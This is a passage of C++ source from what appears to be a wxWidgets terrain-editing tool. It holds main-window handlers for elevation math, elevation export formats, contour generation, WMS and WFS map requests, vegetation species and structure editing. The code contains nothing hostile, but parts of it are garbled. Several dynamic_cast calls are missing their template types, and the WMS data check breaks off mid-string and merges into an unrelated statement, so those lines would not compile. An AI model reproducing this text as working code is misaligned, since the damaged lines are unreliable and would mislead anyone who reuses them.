m_pView->Refresh(); } } void MainFrame::OnElevArithmetic(wxCommandEvent &event) { ElevMathDlg dlg(this, -1, _("Arithmetic")); int res = dlg.ShowModal(); if (res != wxID_OK) return; vtElevLayer *t = GetActiveElevLayer(); vtElevLayer *result = ElevationMath(dlg.m_pLayer1, dlg.m_pLayer2, dlg.m_extent, dlg.m_spacing, dlg.m_iOperation == 0); if (result) { SetActiveLayer(result); m_pView->SetActiveLayer(result); RefreshTreeView(); RefreshToolbars(); RefreshView(); } } void MainFrame::OnElevSetUnknown(wxCommandEvent &event) { vtElevLayer *t = GetActiveElevLayer(); if (!t) return; static float fValue = 1.0f; wxString str; str.Printf(_T("%g"), fValue); str = wxGetTextFromUser(_("Set unknown areas to what value?"), _("Set Unknown Areas"), str, this); if (str == _T("")) return; fValue = atof(str.mb_str(wxConvUTF8)); int count = t->SetUnknown(fValue, &m_area); if (count) { t->SetModified(true); t->ReRender(); m_pView->Refresh(); } } void MainFrame::OnFillIn(int method) { vtElevLayer *el = GetActiveElevLayer(); DRECT *area = NULL; if (!m_area.IsEmpty()) area = &m_area; if (FillElevGaps(el, area, method)) { el->SetModified(true); el->ReRender(); m_pView->Refresh(); } } void MainFrame::OnFillFast(wxCommandEvent &event) { OnFillIn(1); } void MainFrame::OnFillSlow(wxCommandEvent &event) { OnFillIn(2); } void MainFrame::OnFillRegions(wxCommandEvent &event) { OnFillIn(3); } void MainFrame::OnElevScale(wxCommandEvent &event) { vtElevLayer *el = GetActiveElevLayer(); if (!el) return; wxString str = wxGetTextFromUser(_("Please enter a scale factor"), _("Scale Elevation"), _T("1.0"), this); if (str == _T("")) return; float fScale; fScale = atof(str.mb_str(wxConvUTF8)); if (fScale == 0.0f) { wxMessageBox(_("Couldn't parse the number you typed.")); return; } if (fScale == 1.0f) return; vtElevationGrid *grid = el->GetGrid(); if (grid) { grid->Scale(fScale, true); el->ReRender(); } vtTin2d *tin = el->GetTin(); if (tin) { tin->Scale(fScale); } el->SetModified(true); m_pView->Refresh(); } void MainFrame::OnElevVertOffset(wxCommandEvent &event) { vtElevLayer *el = GetActiveElevLayer(); if (!el) return; wxString str = wxGetTextFromUser(_("Please enter an amout to offset"), _("Offset Elevation Vertically"), _T("0.0"), this); if (str == _T("")) return; float fValue; fValue = atof(str.mb_str(wxConvUTF8)); if (fValue == 0.0f) { wxMessageBox(_("Couldn't parse the number you typed.")); return; } vtElevationGrid *grid = el->GetGrid(); if (grid) { grid->VertOffset(fValue); el->ReRender(); } vtTin2d *tin = el->GetTin(); if (tin) { tin->VertOffset(fValue); } el->SetModified(true); m_pView->Refresh(); } void MainFrame::OnElevExport(wxCommandEvent &event) { vtElevLayer *pEL = GetActiveElevLayer(); if (!pEL) return; bool bIsGrid = (pEL->GetGrid() != NULL); wxArrayString choices; if (bIsGrid) { choices.Add(_T("3TX")); choices.Add(_T("ArcInfo ASCII Grid")); choices.Add(_T("ChunkLOD (.chu)")); choices.Add(_T("GeoTIFF")); choices.Add(_T("MSI Planet")); choices.Add(_T("PNG (16-bit greyscale)")); choices.Add(_T("RAW/INF for MS Flight Simulator")); choices.Add(_T("RAW (Scaled to 8-bit) for Unity")); choices.Add(_T("STM")); choices.Add(_T("TIN (.itf)")); choices.Add(_T("TerraGen")); choices.Add(_T("VRML ElevationGrid")); choices.Add(_T("XYZ ASCII Points")); } else // is a TIN { choices.Add(_T("GMS (Aquaveo) .tin")); choices.Add(_T("DXF (AutoCAD) .dxf")); choices.Add(_T("DAE (Collada) .dae")); choices.Add(_T("WRL (VRML) .wrl")); choices.Add(_T("OBJ (Alias Wavefront OBJ) .obj")); choices.Add(_T("PLY (Stanford Polygon PLY) .ply")); } wxSingleChoiceDialog dlg(this, _("Please choose"), _("Export to file format:"), choices); dlg.SetSize(-1, 340); // List is long, make the dialog taller. if (dlg.ShowModal() != wxID_OK) return; if (bIsGrid) { switch (dlg.GetSelection()) { case 0: Export3TX(); break; case 1: ExportASC(); break; case 2: ExportChunkLOD(); break; case 3: ExportGeoTIFF(); break; case 4: ExportPlanet(); break; case 5: ExportPNG16(); break; case 6: ExportRAWINF(); break; case 7: ExportRAW_Unity(); break; case 8: ExportSTM(); break; case 9: ExportTIN(); break; case 10: ExportTerragen(); break; case 11: ExportVRML(); break; case 12: ExportXYZ(); break; } } else // is a TIN { bool success; vtString fname; switch (dlg.GetSelection()) { case 0: fname = pEL->GetExportFilename(FSTRING_GMS); if (fname == "") return; OpenProgressDialog(_T("Writing TIN"), wxString::FromUTF8((const char *) fname), false, this); success = pEL->GetTin()->WriteGMS(fname, progress_callback); break; case 1: fname = pEL->GetExportFilename(FSTRING_DXF); if (fname == "") return; OpenProgressDialog(_T("Writing DXF"), wxString::FromUTF8((const char *) fname), false, this); success = pEL->GetTin()->WriteDXF(fname, progress_callback); break; case 2: fname = pEL->GetExportFilename(FSTRING_DAE); if (fname == "") return; OpenProgressDialog(_T("Writing DAE"), wxString::FromUTF8((const char *) fname), false, this); success = pEL->GetTin()->WriteDAE(fname, progress_callback); break; case 3: fname = pEL->GetExportFilename(FSTRING_WRL); if (fname == "") return; OpenProgressDialog(_T("Writing WRL"), wxString::FromUTF8((const char *) fname), false, this); success = pEL->GetTin()->WriteWRL(fname, progress_callback); break; case 4: fname = pEL->GetExportFilename(FSTRING_OBJ); if (fname == "") return; OpenProgressDialog(_T("Writing OBJ"), wxString::FromUTF8((const char *) fname), false, this); success = pEL->GetTin()->WriteOBJ(fname, progress_callback); break; case 5: fname = pEL->GetExportFilename(FSTRING_PLY); if (fname == "") return; OpenProgressDialog(_T("Writing PLY"), wxString::FromUTF8((const char *) fname), false, this); success = pEL->GetTin()->WritePLY(fname, progress_callback); break; } CloseProgressDialog(); if (success) DisplayAndLog("Successfully wrote file '%s'", (const char *) fname); else DisplayAndLog("Error writing file."); } } void MainFrame::OnElevExportTiles(wxCommandEvent& event) { ElevExportTiles(m_pView); } void MainFrame::OnElevCopy(wxCommandEvent& event) { DoElevCopy(); } void MainFrame::OnElevPasteNew(wxCommandEvent& event) { DoElevPasteNew(); } void MainFrame::OnElevExportBitmap(wxCommandEvent& event) { int cols, rows; vtElevLayer *pEL = GetActiveElevLayer(); pEL->GetGrid()->GetDimensions(cols, rows); RenderDlg dlg(this, -1, _("Render Elevation to Bitmap")); dlg.m_Size.x = cols; dlg.m_Size.y = rows; if (dlg.ShowModal() == wxID_CANCEL) return; OpenProgressDialog(_("Generating Bitmap"), _T("")); ExportBitmap(GetActiveElevLayer(), dlg); CloseProgressDialog(); } void MainFrame::OnElevToTin(wxCommandEvent& event) { vtElevLayer *pEL1 = GetActiveElevLayer(); vtElevationGrid *grid = pEL1->GetGrid(); vtTin2d *tin = new vtTin2d(grid); vtElevLayer *pEL = new vtElevLayer; pEL->SetTin(tin); // Inherit the name wxString name = pEL1->GetLayerFilename(); name = name.BeforeLast('.'); name += _T(".itf"); pEL->SetLayerFilename(name); AddLayer(pEL); SetActiveLayer(pEL); m_pView->Refresh(); RefreshTreeView(); } void MainFrame::OnElevContours(wxCommandEvent& event) { vtElevLayer *pEL = GetActiveElevLayer(); vtElevationGrid *grid = pEL->GetGrid(); const IPoint2 size = grid->GetDimensions(); VTLOG("OnElevContours: using grid of size %d x %d, spacing %lf * %lf\n", size.x, size.y, grid->GetSpacing().x, grid->GetSpacing().y); #if SUPPORT_QUIKGRID ContourDlg dlg(this, -1, _("Add Contours")); // Put any existing raw polyline layers in the drop-down choice dlg.LayerChoice()->Clear(); int layers = m_Layers.size(); for (int i = 0; i < layers; i++) { vtLayer *pL = m_Layers[i]; if (pL->GetType() != LT_RAW) continue; vtRawLayer *raw = (vtRawLayer*) pL; if (raw->GetGeomType() == wkbLineString) dlg.LayerChoice()->Append(raw->GetLayerFilename()); } dlg.LayerChoice()->SetSelection(0); bool bResult = (dlg.ShowModal() == wxID_OK); if (!bResult) return; vtRawLayer *raw; if (dlg.m_bCreate) { // create new (abstract polyline) layer to receive contour lines raw = new vtRawLayer; raw->SetGeomType(wkbLineString); raw->SetLayerFilename(_T("Untitled.shp")); // We will add an elevation value to each contour raw->GetFeatureSet()->AddField("Elevation", FT_Float); // copy CRS vtCRS crs; pEL->GetCRS(crs); raw->SetCRS(crs); AddLayer(raw); RefreshTreeView(); } else { // get the existing layer from the dialog's choice, by name raw = (vtRawLayer*) m_Layers.FindByFilename(dlg.m_strLayer); } if (!raw) return; vtFeatureSetLineString *fsls = (vtFeatureSetLineString *) raw->GetFeatureSet(); VTLOG1(" Setting up ContourConverter\n"); ContourConverter cc; if (!cc.Setup(grid, fsls)) return; VTLOG1(" GenerateContour\n"); if (dlg.m_bSingle) cc.GenerateContour(dlg.m_fElevSingle); else cc.GenerateContours(dlg.m_fElevEvery); cc.Finish(); // The contour generator tends to make a lot of extra points. Clean them up. // Use an epsilon based on the grid's spacing; anything smaller than that is // too small to matter. double dEpsilon = grid->GetSpacing().Length() / 4.0; VTLOG1(" Cleaning up resulting polylines\n"); int removed = fsls->FixGeometry(dEpsilon); VTLOG(" Removed %d points, done\n", removed); m_pView->Refresh(); #endif // SUPPORT_QUIKGRID } void MainFrame::OnElevCarve(wxCommandEvent &event) { if (m_crs.IsGeographic()) { wxMessageBox(_("Sorry, but precise grid operations require a non-geographic coordinate\n system (meters as horizontal units, not degrees.)"), _("Info"), wxOK); return; } // Must have at least some culture to carve vtRoadLayer *pR = (vtRoadLayer *) FindLayerOfType(LT_ROAD); vtStructureLayer *pS = (vtStructureLayer *) FindLayerOfType(LT_STRUCTURE); if (!pR && !pS) return; vtElevLayer *pEL = GetActiveElevLayer(); vtElevationGrid *grid = pEL->GetGrid(); float margin = 2.0; wxString str; str.Printf(_T("%g"), margin); str = wxGetTextFromUser(_("How many meters for the margin at the edge of each feature?"), _("Carve elevation grid under culture"), str, this); if (str == _T("")) return; margin = atof(str.mb_str(wxConvUTF8)); CarveWithCulture(pEL, margin); m_pView->Refresh(); } void MainFrame::OnElevMergeTin(wxCommandEvent& event) { vtElevLayer *pEL = GetActiveElevLayer(); pEL->MergeSharedVerts(); RefreshTreeStatus(); } void MainFrame::OnUpdateElevMergeTin(wxUpdateUIEvent& event) { vtElevLayer *pEL = GetActiveElevLayer(); event.Enable(pEL && !pEL->IsGrid()); } void MainFrame::OnElevTrimTin(wxCommandEvent& event) { m_pView->SetMode(LB_TrimTIN); m_pView->SetCorrectCursor(); } void MainFrame::OnUpdateElevTrimTin(wxUpdateUIEvent& event) { vtElevLayer *pEL = GetActiveElevLayer(); event.Enable(pEL && !pEL->IsGrid()); event.Check(m_pView->GetMode() == LB_TrimTIN); } ////////////////////////////////////////////////////////////////////////// // Image Menu // void MainFrame::OnImageReplaceRGB(wxCommandEvent& event) { wxString msg = _("R G B in the range 0-255:"); wxString str = wxGetTextFromUser(msg, _("Replace color:")); if (str == _T("")) return; RGBi rgb1, rgb2; int count = sscanf(str.mb_str(), "%hd %hd %hd", &rgb1.r, &rgb1.g, &rgb1.b); if (count != 3 || rgb1.r < 0 || rgb1.r > 255 || rgb1.g < 0 || rgb1.g > 255 || rgb1.b < 0 || rgb1.b > 255) { wxMessageBox(_("Didn't get three R G B values in range.")); return; } str = wxGetTextFromUser(msg, _("With color:")); if (str == _T("")) return; count = sscanf(str.mb_str(), "%hd %hd %hd", &rgb2.r, &rgb2.g, &rgb2.b); if (count != 3 || rgb2.r < 0 || rgb2.r > 255 || rgb2.g < 0 || rgb2.g > 255 || rgb2.b < 0 || rgb2.b > 255) { wxMessageBox(_("Didn't get three R G B values in range.")); return; } GetActiveImageLayer()->ReplaceColor(rgb1, rgb2); RefreshView(); } void MainFrame::OnImageCreateOverviews(wxCommandEvent& event) { vtImageLayer *pIL = GetActiveImageLayer(); OpenProgressDialog(_("Creating Overviews"), _T(""), false, this); pIL->GetImage()->CreateOverviews(); CloseProgressDialog(); } void MainFrame::OnImageCreateOverviewsAll(wxCommandEvent& event) { OpenProgressDialog(_("Creating Overviews"), _T(""), false, this); for (uint i = 0; i < NumLayers(); i++) { vtImageLayer *pIL = dynamic_cast(GetLayer(i)); if (pIL) pIL->GetImage()->CreateOverviews(); } CloseProgressDialog(); } void MainFrame::OnImageCreateMipMaps(wxCommandEvent& event) { vtImageLayer *pIL = GetActiveImageLayer(); OpenProgressDialog(_("Creating MipMaps"), _T(""), false, this); pIL->GetImage()->AllocMipMaps(); pIL->GetImage()->DrawMipMaps(); CloseProgressDialog(); } void MainFrame::OnImageLoadMipMaps(wxCommandEvent& event) { vtImageLayer *pIL = GetActiveImageLayer(); OpenProgressDialog(_("Loading Overviews"), _T(""), false, this); pIL->GetImage()->LoadOverviews(); CloseProgressDialog(); } void MainFrame::OnImageExportTiles(wxCommandEvent& event) { ImageExportTiles(m_pView); } void MainFrame::OnImageExportPPM(wxCommandEvent& event) { ImageExportPPM(); } void MainFrame::OnUpdateHaveImageLayer(wxUpdateUIEvent& event) { vtImageLayer *pIL = GetActiveImageLayer(); event.Enable(pIL != NULL); } void MainFrame::OnUpdateHaveImageLayerInMem(wxUpdateUIEvent& event) { vtImageLayer *pIL = GetActiveImageLayer(); if (pIL) { vtImage *im = pIL->GetImage(); event.Enable(im && im->GetBitmap()); } else event.Enable(false); } ////////////////////////////////////////////////////////////////////////// // Area Menu // void MainFrame::OnAreaClear(wxCommandEvent &event) { m_pView->InvertAreaTool(m_area); m_area.SetRect(0, 0, 0, 0); m_pView->InvertAreaTool(m_area); } void MainFrame::OnAreaZoomAll(wxCommandEvent &event) { m_pView->InvertAreaTool(m_area); m_area = GetExtents(); m_pView->InvertAreaTool(m_area); } void MainFrame::OnUpdateAreaZoomAll(wxUpdateUIEvent& event) { event.Enable(NumLayers() != 0); } void MainFrame::OnAreaZoomLayer(wxCommandEvent &event) { DRECT area; if (GetActiveLayer()->GetExtent(area)) { m_pView->InvertAreaTool(m_area); m_area = area; m_pView->InvertAreaTool(m_area); } } void MainFrame::OnUpdateAreaZoomLayer(wxUpdateUIEvent& event) { event.Enable(GetActiveLayer() != NULL); } void MainFrame::OnUpdateAreaMatch(wxUpdateUIEvent& event) { int iRasters = LayersOfType(LT_ELEVATION) + LayersOfType(LT_IMAGE); event.Enable(!m_area.IsEmpty() && iRasters > 0); } void MainFrame::OnAreaTypeIn(wxCommandEvent &event) { ExtentDlg dlg(NULL, -1, _("Edit Area")); dlg.SetArea(m_area, (m_crs.IsGeographic() != 0)); if (dlg.ShowModal() == wxID_OK) { m_area = dlg.m_area; m_pView->Refresh(); } } void MainFrame::OnAreaMatch(wxCommandEvent &event) { MatchDlg dlg(NULL, -1, _("Match Area and Tiling to Layer")); dlg.SetView(GetView()); dlg.SetArea(m_area, (m_crs.IsGeographic() != 0)); if (dlg.ShowModal() == wxID_OK) { m_tileopts.cols = dlg.m_tile.x; m_tileopts.rows = dlg.m_tile.y; m_tileopts.lod0size = dlg.m_iTileSize; m_area = dlg.m_area; m_pView->Refresh(); } GetView()->HideGridMarks(); } void MainFrame::OnAreaRequestWFS(wxCommandEvent& event) { #if SUPPORT_CURL bool success; wxTextEntryDialog dlg(this, _T("WFS Server address"), _T("Please enter server base URL"), _T("http://10.254.0.29:8081/")); if (dlg.ShowModal() != wxID_OK) return; wxString value = dlg.GetValue(); vtString server = (const char *) value.mb_str(wxConvUTF8); OGCLayerArray layers; success = GetLayersFromWFS(server, layers); int numlayers = layers.size(); wxString choices[100]; for (int i = 0; i < numlayers; i++) { const char *string = layers[i]->GetValueString("Name"); choices[i] = wxString::FromAscii(string); } wxSingleChoiceDialog dlg2(this, _T("Choice Layer"), _T("Please indicate layer:"), numlayers, (const wxString *)choices); if (dlg2.ShowModal() != wxID_OK) return; vtRawLayer *pRL = new vtRawLayer; success = pRL->ReadFeaturesFromWFS(server, "rail"); if (success) AddLayerWithCheck(pRL); else delete pRL; #endif } void MainFrame::OnAreaRequestWMS(wxCommandEvent& event) { VTLOG1("OnAreaRequestWMS\n"); if (m_wms_servers.empty()) { // supply some hardcoded well-known servers OGCServer s; s.m_url = "http://wmt.jpl.nasa.gov/wms.cgi"; m_wms_servers.push_back(s); s.m_url = "http://globe.digitalearth.gov/viz-bin/wmt.cgi"; m_wms_servers.push_back(s); } #if SUPPORT_CURL // Ask the user for what server and layer they want if (!m_pMapServerDlg) m_pMapServerDlg = new MapServerDlg(this, -1, _T("WMS Request")); m_pMapServerDlg->m_area = m_area; m_pMapServerDlg->m_crs = m_crs; m_pMapServerDlg->SetServerArray(m_wms_servers); if (m_pMapServerDlg->ShowModal() != wxID_OK) return; // Prepare to receive the WMS data if (m_pMapServerDlg->m_bNewLayer) { // Enforce PNG, that's all we support so far m_pMapServerDlg->m_iFormat = 1; // png m_pMapServerDlg->UpdateURL(); } FILE *fp; wxString str; vtString fname; if (m_pMapServerDlg->m_bToFile) { // Very simple: just write the buffer to disk fname = m_pMapServerDlg->m_strToFile.mb_str(wxConvUTF8); fp = vtFileOpen(fname, "wb"); if (!fp) { str = _("Could not open file"); str += _T(" '"); str += m_pMapServerDlg->m_strToFile; str += _T("'"); wxMessageBox(str); return; } } // Bring down the WMS data VTLOG1(" Requesting data\n"); OpenProgressDialog(_("Requesting data"), _T(""), false, this); vtString url = (const char*)m_pMapServerDlg->m_strQueryURL.mb_str(wxConvUTF8); VTLOG(" URL: %s\n", (const char *)url); ReqContext rc; rc.SetProgressCallback(progress_callback); vtBytes data; bool success = rc.GetURL(url, data); CloseProgressDialog(); if (!success) { str = wxString(rc.GetErrorMsg(), wxConvUTF8); // the HTTP request failed wxMessageBox(str); return; } if (data.Len() > 5 && (!strncmp((char *)data.Get(), "m_bNewLayer) { VTLOG1(" Creating new layer\n"); // Now data contains the PNG file in memory, so parse it. vtImageLayer *pIL = new vtImageLayer; success = pIL->GetImage()->ReadPNGFromMemory(data.Get(), data.Len()); if (success) { pIL->SetExtent(m_area); pIL->SetCRS(m_crs); AddLayerWithCheck(pIL); } else delete pIL; } if (m_pMapServerDlg->m_bToFile) { VTLOG(" Writing %d bytes to file '%s'\n", data.Len(), (const char *)fname); fwrite(data.Get(), data.Len(), 1, fp); fclose(fp); } #endif } void MainFrame::OnUpdateAreaRequestWMS(wxUpdateUIEvent& event) { event.Enable(!m_area.IsEmpty() && SUPPORT_CURL); } ////////////////////////// // Vegetation menu void MainFrame::OnVegPlants(wxCommandEvent& event) { // if SpeciesList has not previously been open, get the data from file first if (m_strSpeciesFilename == "") { // To make it easier for the user, look for a species.xml on the path and // suggest that as the folder to look in. wxString default_dir; wxString default_file(_T("species.xml")); vtString species_path = FindFileOnPaths(vtGetDataPath(), "PlantData/species.xml"); if (species_path != "") { vtString just_path(ExtractPath(species_path, false)); default_dir = wxString::FromUTF8((const char *) just_path); #if WIN32 // An ugly workaround for Windows 7 File Dialog's behavior. // We really want it to respect default_dir, but it wants to give us // folder that the user last opened instead. // Ref: http://msdn.microsoft.com/en-us/library/windows/desktop/ms646839(v=vs.85).aspx // Using a random value (that isn't a valid path) avoids the behavior. default_dir.Printf("%d", clock()); default_file = wxString::FromUTF8(species_path); default_file.Replace("/", "\\"); #endif } wxString filter = _("Plant Species List Files (*species.xml)|*.xml"); // Use file dialog to open plant list text file. wxFileDialog loadFile(NULL, _("Load Plant Info"), default_dir, default_file, filter, wxFD_OPEN); if (loadFile.ShowModal() != wxID_OK) return; wxString str = loadFile.GetPath(); if (!LoadSpeciesFile(str.mb_str(wxConvUTF8))) return; } if (!m_SpeciesListDlg) { // Create new Plant List Dialog m_SpeciesListDlg = new SpeciesListDlg(this, wxID_ANY, _("Plants List"), wxPoint(140, 100), wxSize(950, 400), wxDEFAULT_DIALOG_STYLE | wxRESIZE_BORDER); } // Display plant list data, calling OnInitDialog. m_SpeciesListDlg->Show(true); } void MainFrame::OnVegBioregions(wxCommandEvent& event) { // if data isn't there, get the data first if (m_strBiotypesFilename == "") { wxString filter = _("Bioregion Files (*.txt)|*.txt"); // Use file dialog to open bioregion text file. wxFileDialog loadFile(NULL, _("Load BioRegion Info"), _T(""), _T(""), filter, wxFD_OPEN); if (loadFile.ShowModal() != wxID_OK) return; // Read bioregions, data kept on frame with m_pBioRegion. wxString str = loadFile.GetPath(); if (!LoadBiotypesFile(str.mb_str(wxConvUTF8))) return; } if (!m_BioRegionDlg) { // Create new Bioregion Dialog m_BioRegionDlg = new BioRegionDlg(this, wxID_ANY, _("BioRegions List"), wxPoint(120, 80), wxSize(300, 500), wxDEFAULT_DIALOG_STYLE | wxRESIZE_BORDER); } // Display bioregion data, calling OnInitDialog. m_BioRegionDlg->Show(true); } void MainFrame::OnVegRemap(wxCommandEvent& event) { vtVegLayer *pVeg = GetMainFrame()->GetActiveVegLayer(); if (!pVeg) return; vtSpeciesList *list = GetSpeciesList(); wxArrayString choices; uint i, n = list->NumSpecies(); for (i = 0; i < n; i++) { vtPlantSpecies *spe = list->GetSpecies(i); wxString str(spe->GetSciName(), wxConvUTF8); choices.Add(str); } wxString result1 = wxGetSingleChoice(_("Remap FROM Species"), _("Species"), choices, this); if (result1 == _T("")) // cancelled return; short species_from = list->GetSpeciesIdByName(result1.mb_str(wxConvUTF8)); wxString result2 = wxGetSingleChoice(_("Remap TO Species"), _("Species"), choices, this); if (result2 == _T("")) // cancelled return; short species_to = list->GetSpeciesIdByName(result2.mb_str(wxConvUTF8)); vtFeatureSet *pSet = pVeg->GetFeatureSet(); vtPlantInstanceArray *pPIA = dynamic_cast(pSet); if (!pPIA) return; float size; short species_id; int count = 0; for (i = 0; i < pPIA->NumEntities(); i++) { pPIA->GetPlant(i, size, species_id); if (species_id == species_from) { pPIA->SetPlant(i, size, species_to); count++; } } wxString str; str.Printf(_("Remap successful, %d plants remapped.\n"), count); wxMessageBox(str, _("Info")); if (count > 0) pVeg->SetModified(true); } void MainFrame::OnVegExportSHP(wxCommandEvent& event) { vtVegLayer *pVeg = GetMainFrame()->GetActiveVegLayer(); if (!pVeg) return; // Open File Save Dialog wxFileDialog saveFile(NULL, _("Export vegetation to SHP"), _T(""), _T(""), FSTRING_SHP, wxFD_SAVE | wxFD_OVERWRITE_PROMPT); if (saveFile.ShowModal() == wxID_CANCEL) return; wxString strPathName = saveFile.GetPath(); pVeg->ExportToSHP(strPathName.mb_str(wxConvUTF8)); } void MainFrame::OnVegHTML(wxCommandEvent& event) { vtSpeciesList *list = GetSpeciesList(); if (list->NumSpecies() == 0) return; // Open File Save Dialog wxFileDialog saveFile(NULL, _("Export vegetation to SHP"), _T(""), _T("plant_list.html"), FSTRING_SHP, wxFD_SAVE | wxFD_OVERWRITE_PROMPT); if (saveFile.ShowModal() == wxID_CANCEL) return; wxString strPathName = saveFile.GetPath(); list->WriteHTML(strPathName.mb_str()); } void MainFrame::OnUpdateVegExportSHP(wxUpdateUIEvent& event) { vtVegLayer *pVeg = GetMainFrame()->GetActiveVegLayer(); event.Enable(pVeg && pVeg->IsNative()); } void MainFrame::OnAreaGenerateVeg(wxCommandEvent& event) { // Open File Save Dialog wxFileDialog saveFile(NULL, _("Save Vegetation File"), _T(""), _T(""), FSTRING_VF, wxFD_SAVE | wxFD_OVERWRITE_PROMPT); if (saveFile.ShowModal() == wxID_CANCEL) return; wxString strPathName = saveFile.GetPath(); DistribVegDlg dlg(this, -1, _("Vegetation Distribution Options")); if (dlg.ShowModal() == wxID_CANCEL) return; // Generate the plants GenerateVegetation(strPathName.mb_str(wxConvUTF8), m_area, dlg.m_opt); } void MainFrame::OnUpdateAreaGenerateVeg(wxUpdateUIEvent& event) { // we needs some species, and an area to plant them in event.Enable(m_strSpeciesFilename != "" && !m_area.IsEmpty()); } void MainFrame::OnAreaVegDensity(wxCommandEvent& event) { wxString str, s; LinearUnits lu = m_crs.GetUnits(); float xsize = m_area.Width() * GetMetersPerUnit(lu); float ysize = m_area.Height() * GetMetersPerUnit(lu); float area = xsize * ysize; s.Printf(_("Total area: %.1f square meters (%.3f hectares)\n"), area, area/10000); str += s; // Get all the objects we'll need vtVegLayer *vlay = (vtVegLayer *) FindLayerOfType(LT_VEG); if (!vlay) return; vtPlantInstanceArray *pia = vlay->GetPIA(); if (!pia) return; uint ent = pia->NumEntities(); vtSpeciesList *list = GetMainFrame()->GetSpeciesList(); // Put the results in a biotype as well vtBioType btype; float size; short species; int total = 0; for (uint i = 0; i < list->NumSpecies(); i++) { int count = 0; float height = 0; for (uint j = 0; j < ent; j++) { pia->GetPlant(j, size, species); DPoint2 &p = pia->GetPoint(j); if (species == i && m_area.ContainsPoint(p)) { total++; count++; height += size; } } if (count != 0) { vtPlantSpecies *spe = list->GetSpecies(i); float density = (float) count / area; s.Printf(_(" %d instances of species %hs: %.5f per m^2, average height %.1f\n"), count, spe->GetSciName(), density, height/count); str += s; btype.AddPlant(spe, density, height/count); } } s.Printf(_("Total plant instances: %d\n"), total); str += s; wxMessageBox(str, _("Info")); vtBioRegion bregion; btype.m_name = "Default"; bregion.AddType(&btype); bregion.WriteXML("bioregion.xml"); bregion.Clear(); } void MainFrame::OnUpdateAreaVegDensity(wxUpdateUIEvent& event) { // we needs some plants, and an area to estimate vtVegLayer *vlay = (vtVegLayer *) FindLayerOfType(LT_VEG); event.Enable(m_strSpeciesFilename != "" && vlay != NULL && vlay->GetVegType() == VLT_Instances && !m_area.IsEmpty()); } ////////////////////////////// // Utilities Menu void MainFrame::OnTowerSelect(wxCommandEvent& event) { m_pView->SetMode(LB_TowerSelect); } void MainFrame::OnUpdateTowerSelect(wxUpdateUIEvent &event) { event.Check(m_pView->GetMode()== LB_TowerSelect); } void MainFrame::OnTowerEdit(wxCommandEvent& event) { } void MainFrame::OnUpdateTowerEdit(wxUpdateUIEvent &event) { } void MainFrame::OnTowerAdd(wxCommandEvent& event) { m_pView->SetMode(LB_TowerAdd); } void MainFrame::OnUpdateTowerAdd(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode()==LB_TowerAdd); } ///////////////////////////////////// // Buildings / Features void MainFrame::OnFeatureSelect(wxCommandEvent &event) { m_pView->SetMode(LB_FSelect); } void MainFrame::OnUpdateFeatureSelect(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode() == LB_FSelect); } void MainFrame::OnFeaturePick(wxCommandEvent &event) { m_pView->SetMode(LB_FeatInfo); } void MainFrame::OnFeatureTable(wxCommandEvent &event) { if (m_pFeatInfoDlg && m_pFeatInfoDlg->IsShown()) m_pFeatInfoDlg->Show(false); else { ShowFeatInfoDlg(); m_pFeatInfoDlg->SetLayer(GetActiveLayer()); m_pFeatInfoDlg->SetFeatureSet(GetActiveRawLayer()->GetFeatureSet()); } } void MainFrame::OnUpdateFeaturePick(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode() == LB_FeatInfo); } void MainFrame::OnUpdateFeatureTable(wxUpdateUIEvent& event) { event.Check(m_pFeatInfoDlg && m_pFeatInfoDlg->IsShown()); } void MainFrame::OnBuildingEdit(wxCommandEvent &event) { m_pView->SetMode(LB_BldEdit); } void MainFrame::OnUpdateBuildingEdit(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode() == LB_BldEdit); } void MainFrame::OnBuildingAddPoints(wxCommandEvent &event) { m_pView->SetMode(LB_BldAddPoints); } void MainFrame::OnUpdateBuildingAddPoints(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode() == LB_BldAddPoints); } void MainFrame::OnBuildingDeletePoints(wxCommandEvent &event) { m_pView->SetMode(LB_BldDeletePoints); } void MainFrame::OnUpdateBuildingDeletePoints(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode() == LB_BldDeletePoints); } void MainFrame::OnStructureAddLinear(wxCommandEvent &event) { m_pView->SetMode(LB_AddLinear); } void MainFrame::OnUpdateStructureAddLinear(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode() == LB_AddLinear); } void MainFrame::OnStructureEditLinear(wxCommandEvent &event) { m_pView->SetMode(LB_EditLinear); } void MainFrame::OnUpdateStructureEditLinear(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode() == LB_EditLinear); } void MainFrame::OnStructureAddInstances(wxCommandEvent &event) { m_pView->SetMode(LB_AddInstance); } void MainFrame::OnUpdateStructureAddInstances(wxUpdateUIEvent& event) { event.Check(m_pView->GetMode() == LB_AddInstance); } void MainFrame::OnStructureAddFoundation(wxCommandEvent &event) { vtStructureLayer *pSL = GetActiveStructureLayer(); vtElevLayer *pEL = (vtElevLayer *) FindLayerOfType(LT_ELEVATION); pSL->AddFoundations(pEL); } void MainFrame::OnUpdateStructureAddFoundation(wxUpdateUIEvent& event) { vtStructureLayer *pSL = GetActiveStructureLayer(); vtElevLayer *pEL = (vtElevLayer *) FindLayerOfType(LT_ELEVATION); event.Enable(pSL != NULL && pEL != NULL); } void MainFrame::OnStructureConstrain(wxCommandEvent &event) { m_pView->m_bConstrain = !m_pView->m_bConstrain; } void MainFrame::OnUpdateStructureConstrain(wxUpdateUIEvent& event) { event.Check(m_pView->m_bConstrain); } void MainFrame::OnStructureSelectUsingPolygons(wxCommandEvent &event) { vtStructureLayer *pStructureLayer = GetActiveStructureLayer(); if (!pStructureLayer) return; pStructureLayer->DeselectAll(); int iNumLayers = m_Layers.size(); for (int i = 0; i < iNumLayers; i++) { vtLayer *pLayer = m_Layers[i]; if (LT_RAW != pLayer->GetType()) continue; vtRawLayer* pRawLayer = dynamic_cast(pLayer); if ((NULL != pRawLayer) && (wkbPolygon == wkbFlatten(pRawLayer->GetGeomType()))) { vtFeatureSetPolygon *pFeatureSetPolygon = dynamic_cast(pRawLayer->GetFeatureSet()); if (NULL != pFeatureSetPolygon) { uint iNumEntities = pFeatureSetPolygon->NumEntities(); uint iIndex; for (iIndex = 0; iIndex < iNumEntities; iIndex++) { if (pFeatureSetPolygon->IsSelected(iIndex)) { uint iIndex2; const DPolygon2 Polygon = pFeatureSetPolygon->GetPolygon(iIndex); uint 